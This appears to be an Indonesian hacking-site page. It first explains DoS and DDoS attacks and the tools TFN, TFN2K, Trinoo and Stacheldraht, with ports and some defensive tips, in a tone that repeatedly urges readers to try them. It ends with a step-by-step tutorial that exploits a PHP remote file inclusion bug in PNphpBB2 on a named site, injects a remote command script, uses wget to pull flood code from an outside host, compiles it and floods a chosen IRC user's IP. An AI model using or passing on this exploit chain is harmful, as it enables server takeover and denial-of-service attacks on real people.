_____LEARN TO THE BEST INDONESIA_____
| Check Page Rank of any web site pages instantly: |
| This free page rank checking tool is powered by Page Rank Checker service |
Varian pertama serangan berupa pengiriman air bah data ke target itu adalah DoS (Denial of Service). Dalam serangan ini penyerang hanya menggunakan satu komputer untuk menyemburkan data ke korbannya.
Penjelasan sederhananya seperti ini: Suatu ketika handphone anda berbunyi. Sebelum anda sempat menggangkatnya handphone anda telah berhenti berbunyi. Tiba-tiba handphone anda berbunyi lagi dan tanpa sempat anda mengangkatnya, bunyi itupun segera berhenti. Beberapa kali anda biarkan tapi masalah ini tak kunjung selesai. Beberapa kolega anda yang hendak menghubungi anda terpaksa tidak bisa melakukannya karena handphone anda sibuk terus. Itulah gambaran sederhana serangan DoS di dunia non-cyber.
Di dunia cyber, kasus anda tersebut merupakan serangan salah satu jenis DOS (Denial of Service). Yang pasti, sebegitu mudahnya DOS ini diterapkan tapi mencegahnya bukanlah suatu hal yang gampang. Target-target serangan DOS biasanya adalah server-server ISP, Internet Banking, E-commerce, Web perusahaan, dan pemerintah.
Serangan DoS dapat dilakukan dengan mengirimkan query sebanyak mungkin hingga target tidak bisa lagi menanganinya sehingga target lumpuh. Cara lain melakukan serangan DoS adalah dengan mengirimkan data rusak atau data yang tidak mampu di tangani oleh server target sehingga server tersebut menjadi hang (tidak bisa berfungsi sebagaimana mestinya dan perlu di restart ulang).
DDOS (Distributed Denial of Service)
Mengirimkan data secara terus menerus dengan menggunakan satu komputer tidak begitu efektif karena biasanya sumber daya server yang diserang lebih besar dari komputer penyerang. Daya bunuh serangan juga akhirnya menjadi lemah.
Hacker penyerangpun memutar otaknya. Serangan dapat lebih mematikan jika tenaga banyak komputer dijadikan satu untuk menciptakan banjir data yang lebih besar.
Komputer-komputer yang diambil alih oleh hacker tersebut disebut zombie. Zombie berfungsi sebagai anak buah atau agent penyerang yang siap beraksi saat mendapat perintah dari “tuannya.”
Semakin banyak zombie yang dkuasai seorang penyerang, semakin berkuasalah sang hacker tersebut karena besarnya tenaga yang ia genggam. Dengan tenaga besar yang dikumpulkan dari komputer-komputer yang dikuasai (secara illegal tentunya) tersebut, serangan DDoS hampir tidak dapat ditangkal. Karena itulah serangan tipe ini sangat populer di kalangan hacker.
Beberapa situs raksasa seperti Amazon.com, eBay, dan Yahoo pada Februari 2000 rontok selama beberapa jam karena serbuan ini. Gedung Putih juga sempat boyongan karena serangan tipe ini. Gedung Putih terpaksa “memindahkan” IP address situsnya karena jengah menerima serangan DDoS yang sudah dirancang untuk muncul pada tanggal dan jam tertentu dengan memanfaatkan virus tertentu tanpa mampu mencegahnya.
DDoS adalah tipe serangan dengan konsep sederhana. Namun efeknya bisa memindahkan “istana negara.”
Menghadapi Serangan DDOS
Serangan DDoS adalah serangan dengan teori sederhana namun dengan dampak yang sangat besar. Sayangnya, sampai saat ini belum ditemukan cara paling tepat untuk menghindari serangan ini secara total.
Meski sampai saat ini belum ada sistem yang kebal terhadap serangan ini, ada sejumlah langkah yang dapat dilakukan untuk memperkecil resiko serangan DDoS ini.
Karena serangan DDoS dapat dilakukan dengan memanfaatkan kelemahan operating system yang anda gunakan, jangan pernah lupa mengupdate patch untuk memerbaiki sistem pengoperasian anda. Ingatlah bahwa tidak ada satupun sistem operasi di dunia ini yang aman dan 100 persen bebas dari kelemahan.
Gunakan hardware/server yang kuat. Server tersebut harus mampu menangani beban yang cukup berat sehingga server anda tidak mudah down. Anda bisa mendesain network yang saling membackup dan akan lebih bagus jika berada pada beberapa daerah sekaligus.
Gunakan firewall untuk mengeblok port-port (pintu masuk) yang tidak di perlukan di server-server anda.
Gunakan IDS (Intrusion Detection System) untuk mendeteksi penyusup dan melakukan pencegahan yang lebih cerdik.
Terminologi dan Tools Pada DDoS (uzi)
Terminologi-terminologi yang umum dalam serangan DDoS antara lain adalah Client – sebuah aplikasi yang digunakan untuk memicu serangan dengan mengirimkan perintah ke komponen-komponen lain, Daemon – sebuah proses dalam menjalankan agent yang bertanggung jawab menerima dan melaksanakan perintah yang dikeluarkan client, Master – host yang menjalankan client, Agent – host yang menjalankan Daemon, dan Target – korban (berupa host atau jaringan) yang dihantam serangan DDoS. Alur serangan DDoS adalah:
Penyerang (Master) -> Client -> Daemon -> Korban (Target)
Tools
Program-program yang dapat digunakan hacker untuk melancarkan serangan DDoS semakin mudah didapatkan dari Internet. Karenanya semakin berbahaya pula ancaman ini dengan semakin banyaknya orang yang dapat melakukannya.
Beberapa tool paling terkenal yang sering digunakan untuk melancarkan serangan DDoS adalah TFN2K, Trinoo dan Stacheldraht
TFN2K
TFN2K (Tribe Flood Network 2000) adalah tool untuk melancarkan serangan DDoS. TFN2K adalah turunan Trojan TFN.
TFN2K memungkinkan master mengeksploitasi sejumlah agent untuk mengkoordinasikan serangan pada satu atau beberapa target yang diincar. Saat ini, Unix, Solaris, dan Windows NT adalah platform-platform yang rentan terhadap serangan ini.
TFN2K adalah sistem dengan dua komponen. Yang pertama adalah client yang dikomando oleh master dan sebuah proses daemon yang beroperasi pada sebuah agent. Master menginstruksikan para agent yang telah ditaklukkannya untuk menyerang target yang telah ditentukan. Para agent tersebut kemudian merespon dengan membanjirkan serbuan paket data. Sejumlah agent, dengan perintah Master, dapat bekerjasama selama serangan ini untuk mematahkan akses target. Komunikasi master-to-agent telah dienkripsi dan bercampur dengan paket-paket yang diluncurkan. Baik komunikasi master-to-agent maupun serangan itu sendiri dapat dikirimkan melalui paket-paket TCP, UDP, dan ICMP yang telah diacak. Master juga dapat melakukan pemalsuan IP address (spoofing). Hal ini membuat penagkalan TFN2K sangat sukar dilakukan.
Trinoo
Trinoo (a.k.a. trin00) adalah program slave/master terkenal yang digunakan dalam serangan DDoS. Daemon Trinoo awalnya ditemukan pada format binary sejumlah sistem Solaris 2.x, yang diidentifikasi dapat dimanfaatkan dengan mengeksploitasi bug buffer overrun.
Jaringan Trinoo dapat berupa ratusan bahkan ribuan sistem di Internet yang diambilalih dengan eksploitasi buffer overrun secara remote. Akses ke sistem-sistem yang dijadikan agent tersebut didapatkan dengan menanamkan program back door sekaligus daemon Trinoo.
Sebuah jaringan Trinoo yang paling tidak terdiri atas 227 sistem – 114 diantaranya merupakan situs-situs Internet – yang pada 17 Agustus 1999 digunakan untuk membanjiri satu sistem yang ada di University of Minnessota. Akibatnya, server malang itu ambruk dan koma selama dua hari. Saat penanganan terhadap serangan 17 Agustus itu dilakukan, banjir besar data juga diketahui sedang menyerang paling tidak 16 sistem lain, yang sebagian terdapat di luar AS.
Stacheldraht
Stacheldraht (Bahasa Jerman yang artinya adalah kawat berduri) adalah tool lain yang populer untuk melancarkan serangan DDoS.
Tool ini sangat unik karena ia menggabungkan fitur-fitur yang dimiliki oleh Trinoo dan TFN generasi pertama. Tool ini juga mempunyai enkripsi komunikasi antara penyerang dan master-master Stacheldraht serta mampu melakukan update agent secara otomatis.
Seperti Trinoo, Stacheldraht terdiri atas program-program master (handler) dan daemon atau bcast (agent). Fitur TFN yang dimiliki Stacheldraht adalah gaya-gaya serangan ICMP flood, SYN flood, UDP flood, dan “Smurf.”
Tips N Trik Registry About Attack DDOS
Anda Perlu Informasi Serangan Hacker ke Yahoo! MSN, CNN, Buy.com, eBay and Amazon.com ?
1 Apakah itu DDOS ?
2 Definisi Denial of Service Attacks
3 Distributed Denial of Service (DDOS) Attacks.
4 Mengapa Serangan DDOS menjadi sangat populer ?
5 Efek dari serangan DDOS
6 Teknikal overview dari aplikasi DDOS
1.
Apakah itu DDOS ?
Sampai dengan sekarang ini pengertian tetang DDOS adalah seperti yang anda dengarkan beberapa waktu yang lalu mengenai serangan terhadap web site Yahoo! MSN, CNN, Buy.com, eBay dan Amazon.com. Informasi terkini yang didapat kan adalah bahwa serangan hacker itu berasal dari West Coast, United States (Oregon dan California). Dari laporan FBI menuliskan bahwa serangan ini melibatkan beberapa network dari universitas yang ada di daerah tersebut yaitu Stanford, state California dan Santa. Barbara. Pada whitepaper ini akan dibahas sekilas mengenai cara serangan para hacker tersebut ke beberapa web site yang disebutkan di atas.
1. Definisi Denial of Service Attacks
Serangan Denial of Service(DOS) ini terjadi apabila penyerang atau yang sering terdengar dengan istilah hacker ini merusak host atau sevice yang ada sehingga host atau service itu tidak dapat lagi berkomunikasi secara lancar di dalam network neighborhood nya.
Serangan seperti ini juga dapat menghancurkan seluruh host dengan mengakibatkan “kernel panic” pada Linux dan keluarga UNIX lainnya atau lebih umumnya the “blue screen on death” nya Windows NT dan 98.
Serangan DOS ini dapat ditujukan dengan lebih spesifik terhadap services yang ada, contohnya seperti host Web Server dan fungsi dari Network Interface Card (NIC).
Bahkan yang lebih menyenangkan lagi si penyerang menargetkan serangan khusus pada network environment seperti network bandwith dengan menciptakan network request imitasi sehingga terjadi network bussy atau istilah yang lebih familiarnya bottleneck (yang pasti bandwith networknya menjadi full of waste ). Seperti anda ketahui bahwa bandwith adalah bagian yang sangat esensial dari koneksi internet (saluran ke internet). Dengan memenuhi saluran tersebut dengan infomasi sampah(network request imitasi) si penyerang dapat dengan bebas menguasai network bandwith yang masih available. Serangan DOS terakhir yang terjadi adalah pada tgl 7 January 2000.
Serangan DOS ini telah ada pada tahun 1988 yaitu Robert Moris Internet Worm, Melissa virus yang terkenal pada tahun dan masih banyak lagi kejadian DOS pada network dan perusahaan yang tidak diketahui.
Meskipun hal-hal ini disebabkan oleh worm, virusdan beberapa macam dari program yang ada, semua ini terjadi dengan cara yang sama yaitu : satu host menyampaikan informasi atau berkomunikasi dengan host lainnya dan kemudian secara efektif menghancurkan korban dengan mengirim segudang informasi yang tidak dapat di tanggani oleh korban itu sendiri.
1. Serangan Distributed Denial of Service (DDOS).
Perlu digariskan disini bahwa DOS dan DDOS adalah beda. DOS adalah serangan hanya dengan satu node sedangkan DDOS yaitu dengan beberapa node.
Pada tahun 1998 kemajuan dari DOS yang tradisional terlihat dari 3 konsep baru serangan yaitu :
1.
1. Serangan dengan melalui beberapa host.
2. Serangan dengan koordinasi diantara banyak individu yang ada (member dari pemakai network=internet)
3. Serangan dengan menggunakan distribusi system dimana hal ini untuk mencoba membuat bingung jalan menuju ke titik pusat serangan(lihat gambar).
4.
Si penyerang (titik pusat) menyerang host yang ada. Host tersebut tidak berkomunikasi secara langsung dengan korban. Host tersebut adalah administrator yang mengontrol dalam network mereka sendiri yang terdiri dari “Master” dan “Daemon”.
Si penyerang dapat mengontrol/menguasai satu atau bahkan lebih node master tersebut. Master node secara umum akan mengontrol beberapa bahkan lusinan node daemon, yang kemudian akan di alamatkan ke targer/korban.Maka serangan yang dihasilkan akan berupa “packet storm” yang dapat menghancurkan host atau bandwith dari network tersebut.
Keuntungan dan perspektif sebagai hacker dengan menggunakan serangan DDOS yang dapat dilihat disini adalah :
1.
* Si Penyerang dapat menggunakan ratusan system untuk menghancurkan korban.
Serangan tersebut menghasilkan kiriman “packet” yang sangat besar dan dengan cepat dapat menghancurkan korban(target host).
Jika network atau host dapat diatur/dimanage dengan sukses dengan serangan ini, maka dapat anda bayangkan betapa besar koneksi yang digunakan oleh sebuah network dapat dihancurkan dengan serangan DDOS ini. Jadi semakin besar suatu jaringan maka akan semakin besar pula serangan yang ada(menyenangkan bukan ?).
Contoh kasus dapat anda lihat yaitu Yahoo! Dan eBay, perusahaan seperti ini menggunakan kompleks server yang disebut sebagai “cluster servers” dimana mereka bertujuan dengan memberikan service yang OK kepada pelanggan(bandwith yang OK dalam hal ini).
Jadi dapat dilihat disini bahwa system yang “robust”(seperti banyak tertulis dalam produk Microsoft) dan system yang “well-managed” pun dapat dengan mudah dihancurkan dengan system serangan seperti ini. (tertarik anda untuk mencoba ?)
1.
* Tidak hanya programming kita dapat menggunakan multi tier desain tapi dalam hacking pun ada desainnya. Dalam struktur multi tier ini korban akan sangat sulit melacak titik pusat dari serangan tersebut.
Sejauh ini sangat penting untuk dimegerti bahwa sebagian besar dari operator dari host dimana master dan daemon itu berada merupakan bagian pendukung dari DOS ini. Hal ini terjadi karena hacker telah berhubungan dengan master dan daemon node dimana mereka telah menginstall software DOS ini tanpa sepengetahuan pemilik host/administrator/operatornya. Seandainya si korban dapat melacak daemon host sekalipun, pemilik/operator dari host tsb tidak dapat memberikan informasi yang cukup untuk meneruskan upaya ini.
1. Mengapa Serangan DDOS menjadi sangat populer ?
Beberapa jawabannya dapat anda lihat dibawah ini :
1.
* Banyak Operating System dan aplikasi yang memberikan kemudahan dalam instalasi sehingga memberikan beberapa keuntungan seperti menghemat waktu mempelajarinya dan bahkan tidak perlu seorang ahli IT dalam mengoperasikannya. Maka akan sangat sulit bagi mereka untuk memberikan sekuriti kepada system yang mereka install secara otomatis tsb. Bukankah lebih mudah menginstall suatu program atau aplikasi dengan menggunakan default setting yang sudah ada. Contohnya dapat anda lihat pada system BII dan Bank Bali(segera di publish) di site Jasakom ini.
* Banyak dari network environment bernasis pada single operating system. Contohnya jika menggunakan NT semuanya atau Linux di seluruh network environment. Router Cisco, dimana secara merata cara setting nya adalah sama di semua tempat.
* Arsitektur internet yang alami secara mendasar memang sangat tidak secure dan memerlukan lingkungan kerja yang complex, mahal dan banyak menghabiskan waktu.
* Software yang semakin komplex. Kompleks dalam hal ini adalah mengenai source code sehingga hole-hole yang ada dapat di exploit oleh hacker. Contohnya saja seperti Microsoft yang banyak service packnya itu.
* Software yang ada semakin powerful. Dimana software-software yang ada dapat diakses tanpa harus dengan pengetahuan yang terlalu luas.
* Kemajuan internet telah membawa banyak user yang tidak berpengalaman ikut serta dalam lingkungan networking sehingga akan lebih mudah bagi mereka untuk “misconfigured” system daripada memberikan keuntungan bagi system tsb.
* Serangan tsb sulit dilacak. Karena perlu waktu yang berhari-hari bahkan bulanan sehingga si penyerang sudah relatif lepas hari kesalahan yang ada.
5. Efek dari serangan DDOS
Secara umum end user atau korban serangan DDOS ini hanya sadar bahwa serangan seperti in hanya merupakan gangguan yang memerlukan restart system. Tetapi bagaimanapun juga hal seperti ini akan menggangu bisnis yang sedang dijalankan apalagi bisnis yang sangat tergantung kepada system di internet.
Serangan DDOS ini juga dapat merupakan pengalihan point of view dari si hacker untuk mendapatkan informasi penting yang ada. Pada dasarnya serangan DOS ini merupakan rangkaian rencana kerja yang sudah disusun oleh hacker dalam mencapai tujuannya yang telah ditargetkan. Jadi hacker tsb tidak hanya iseng mengadakan serangan DOS ini.
Contohnya adalah jika hacker tsb ingin menyerang Host B maka ia harus menggunakan computer A sebagai alat utk membingungkan korban dalam tracking si penyerang. Dan host A harus mempunyai trust relationship ke host B.
Tehnikal overview dari aplikasi DDOS
Berikut ini akan dibahas secara tehnikal software yang digunakan untuk melancarkan serangan DDOS ini. Mungkin pembahasan ini dapat digunakan sebagai bahan dalam memproteksi diri.
Disini kami hanya membahas 4 macam software dari yang sangat banyak di underground (sama seperti di film Matrix) maaf jika anda berpikir saya terlalu berfantasi (I am TheDreamer)
§ The Tribal Flood Network (TFN)
TFN ini diciptakan oleh hacker yang cukup terkenal pada kalangan underground yang bernama Mixter. Aplikasi ini memungkinkan penyerang membuat flood connection dengan menggunakan protocol yang ada pada TCP/IP :
o UDP : difokuskan pada domain name system dan network management program.
o TCP : pusat e-mail dan web transaksi
o ICMP : digunakan oleh para professional untuk troubleshooting network
Nama program masternya adalah : tribe.c dan program daemon bernama td.c
§ Trin00
Software ini menggunakan UDP untuk mengirimkan flood packets network dengan menggunakan UDP. Port yang digunakan adalah :
Attack to Master : TCP Port 27665
Master to Daemon : UDP Port 27444
Daemon to Master(s) : UDP Port 31335
Program master : master.c
Program Daemon : ns.c
Sebagai saran, program ini tidak bagus untuk digunakan karena master dan daemon berhubungan dengan clear text.
§ Stacheldraht
Program ini cukup ok dan masih baru lho. Nama program ini dalam bahasa Jerman yang berarti “Barb Wire” kenal kan dengan film Barb Wire si Pamela Anderson (Big Tit women). Sama sepeti TFN software ini menggunakan UDP, TCP, ICMP dalam menciptakan rootshell pada port port yang ada. Menggunakan komunikasi encrypt antar master dan daemon. Memiliki kemampuan mengupdate daemonnya sendiri secara otomatis. Maka dari itu program ini paling effisien dan cukup bahaya tapi keren banget.
Port TCP : 16660 dan 60001
Master program bernama : mserv.c
Daemon program bernama : td.c
Program ini memiliki client yang juga sebagai telnet : client.c
Komunikasi antara master dan agent menggunakan ICMP dan TCP sedangkan TFN hanya menggunakan ICMP.
§ TFN2K
Di realease pada tgl 21 Desember 1999. Seperti halnya Stacheldraht program ini meng encrypt tranmision. Berjalan pada platform Windows NT. Tetapi program ini lebih mudah di trace pada daemonnya.
Software DDOS lainnya yang dapat saya sebutkan disini adalah paket seperti bliznet, dscan dan saltine cracker. Dscan adalah software yang dapat scanning distribusi operating system dan cukup sulit untuk di lacak dalam penggunaannya. Sedangkan yang lebih keren lagi adalah saltine cracker suite yang dapat menembus password untuk site-site yang perlu authentication.
Dari ke-4 software di atas yang disebutkan kecuali Stacheldraht setiap software di atas memiliki aplikasi master dan daemon seperti yang telah dibahas sebelumnya diatas.
Sedangkan Stacheldraht memiliki client yang hampir sama dengan telnet. Dimana hacker dapat mengontrol ratusan PC hanya dengan component dari software tsb. Cara kerja dari component ini adalah seperti membuat cabang ke client software(cthnya seperti Windows 98 yang sudah memiliki Telnet client sendiri), jadi hacker dapat mengontrol master dan client.
Hal-hal dan sifat-sifat yang menarik dari kesamaan ke –4 software di atas adalah sbb :
Mudah di instalasi dan di gunakan.(Buruan deh dicoba)
Tidak mudah dilacak jika digunakan, seperti pesawat hantu USA “Stealth” yang tidak dapat di deteksi oleh radar.
Selain dari TFN2K, software lainnya tsb bekerja pada system UNIX. Aslinya software tsb di compiled untuk system Solaris tetapi sekarang telah ada yang dibuat untuk platform lainnya seperti Linux dan Windows NT.
Master dan Daemon selalu diproteksi dengan password.
Pada Master component list dapat di daftarkan dengan mudah daemon yang ingin ditambahkan ke dalamnya.
Setiap DDOS aplikasi memiliki sign tersendiri, sehingga akan adanya kemungkinan untuk mendefinisikan master atau daemon yang telah diinstall di komputer anda.
Bagaimana menginstalasi program DDOS
Untuk menginstalasi program DDOS ini, master atau daemon node harus dikomunikasikan terlebih dahulu sehingga mendapatkan trust security. Untuk mendapatkan trust security adalah dengan cara yang sangat mudah. Gunakan scan tool dari range IP di internet kemudian setelah mendapatkan host-host tsb, baru diinstall client software pada host-host yang masih full of hole security. Satu hal yang cukup menarik adalah software client tsb dapat di uninstall dengan cara di set terlebih dahulu, di uninstall setelah berapa kali serangan.
Hal ini dikarenakan dapat ditrace dengan mudah host yang menyerangnya.
Deteksi terhadap keberadaan installasi DDOS software
Dalam hal ini belum ditemukan tools yang paling OK dalam mendeteksi program DDOS ini.
Hal ini karena program DDOS masih menggunanakan system client-server yang masih tradisional. Program tsb menggunakan port tertentu pada saat aktif sehingga untuk dapat mencegah hal ini maka anda hanya dapat mencari port yang open untuk di closed dengan menggunakan perintah netstat.
Anda juga dapat menggunakan perintah find / -name client, tetapi tentu saja anda sudah tahu program client yang diinstall pada komputer anda.
Banyak dari program DDOS lebih banyak menggunakan fasilitas crontab UNIX yang secara automatic menjalankan aplikasi. Dalam hal seperti ini maka perlu check crontab apakah ada file yang termasuk dalam file-file yang perlu dicurigai sebagai client dari program DDOS ini.
Program yang dapat dipakai untuk mendeteksi program DDOS ini adalah
RID yang ditulis oleh si hacker Mixter (pembuat TFN dan TFN2K), anda dapat mencarinya di internet dengan mudah.
Sickenscan yang dapat mendeteksi password default dari program Stacheldraht.
Trin00killer adalah untuk me-remove program trin00 master dan daemonnya.
(ruthness)
(C)2000 Webmaster of Jasakom All rights reserved
Source: JASAKOM Information Center
Tips N Trik Registry About Attack DDOS
Disini kamu musti usaha sendiri mencari target nya.
Langkah-langkah nya :
1. http://www.defendersofmodan.net/index.php?name=PNphpBB2
2. Kemudian hapus/delete index.php?name=PNphpBB2 di url/browsing sehingga menjadi http://www.defendersofmodan.net
3. Masukkan bug ini di belakang situs tadi :
modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
Misal nya http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
4. Masukkan file inject ini di belakang nya lagi :
http://www.geocities.com/jambihackerlinkcrew/sql.htm
Misal nya http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://www.geocities.com/jambihackerlinkcrew/sql.htm?&cmd=pwd
Jangan lupa memasukkan command Unix di ujungnya
5. Masukkan file tembak.c ini di belakang nya lagi :
http://www.freewebs.com/jambihackerlink/tembak.c
Misal nya http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/jambihackerlinkcrew/sql.htm?&cmd=wget http://www.freewebs.com/jambihackerlink/tembak.c -O /var/tmp/tembak.c
6. Kemudian Compile file tembak.c
http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/jambihackerlinkcrew/sql.htm?&cmd=gcc -o /var/tmp/jambihackerlink /var/tmp/tembak.c
7. Utk mendapatkan IP target, buka Mirc trus join salah satu canel di Dalnet. Arahkan mouse ke salah satu nickname di canel itu trus klik kanan lalu pilih Whois
misal nya
ce_sweet83 is ~cute_83@202.155.150.70 * ce_cute
Kemudian kita cari keberadaan IP tersebut, misal nya http://www.dnsstuff.com/tools/whois.ch?ip=202.155.150.70
Ternyata target nya menggunakan ISP : Indosat Internet Service Providers
8. Skrg kita serang dgn DDOS supaya target nya Disconnect dari Dalnet (ingat, bandwith kamu harus lebih besar utk melakukan DDOS).
misal nya http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/jambihackerlinkcrew/sql.htm?&cmd=/var/tmp/./jambihackerlink ip port
http://www.defendersofmodan.net/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://geocities.com/jambihackerlinkcrew/sql.htm?&cmd=/var/tmp/./jambihackerlink 202.155.150.70 22 atau 202.155.150.70 53
Tunggu beberapa saat....... otomatis target nya akan Disconnect dari Dalnet.
All logos and trademarks in this site are property of their respective owner. All the rest © 2005 by J4mbi H4ck3r.
Tips N Trik Registry About Attack DDOS